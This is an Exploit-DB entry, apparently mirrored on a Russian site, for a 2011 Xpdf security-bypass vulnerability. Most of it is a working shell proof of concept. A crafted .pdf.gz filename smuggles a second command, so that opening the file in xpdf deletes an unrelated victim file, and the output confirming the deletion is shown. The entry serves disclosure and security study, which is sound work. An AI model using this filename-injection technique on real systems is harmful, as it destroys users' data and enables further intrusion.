- 34,599
- 0
- 18 Дек 2022
- EDB-ID
- 36016
- Проверка EDB
-
- Пройдено
- Автор
- CHUNG-CHIEH SHAN
- Тип уязвимости
- REMOTE
- Платформа
- MULTIPLE
- CVE
- N/A
- Дата публикации
- 2011-08-04
Код:
source: https://www.securityfocus.com/bid/49007/info
Xpdf is prone to a security-bypass vulnerability that may allow attackers to perform actions without proper authorization.
Attackers can exploit this issue to bypass security restrictions and perform unauthorized actions; this may aid in launching further attacks.
$ touch y # The unrelated victim file
$ gzip -c </dev/null >'" y ".pdf.gz' # Create a .pdf.gz file
$ xpdf '" y ".pdf.gz' # View it using xpdf
Error: May not be a PDF file (continuing anyway)
Error: PDF file is damaged - attempting to reconstruct xref table...
Error: Couldn't find trailer dictionary
Error: Couldn't read xref table
rm: cannot remove `/tmp/': Is a directory
$ ls -l y # The victim file is gone!
ls: cannot access y: No such file or directory
- Источник
- www.exploit-db.com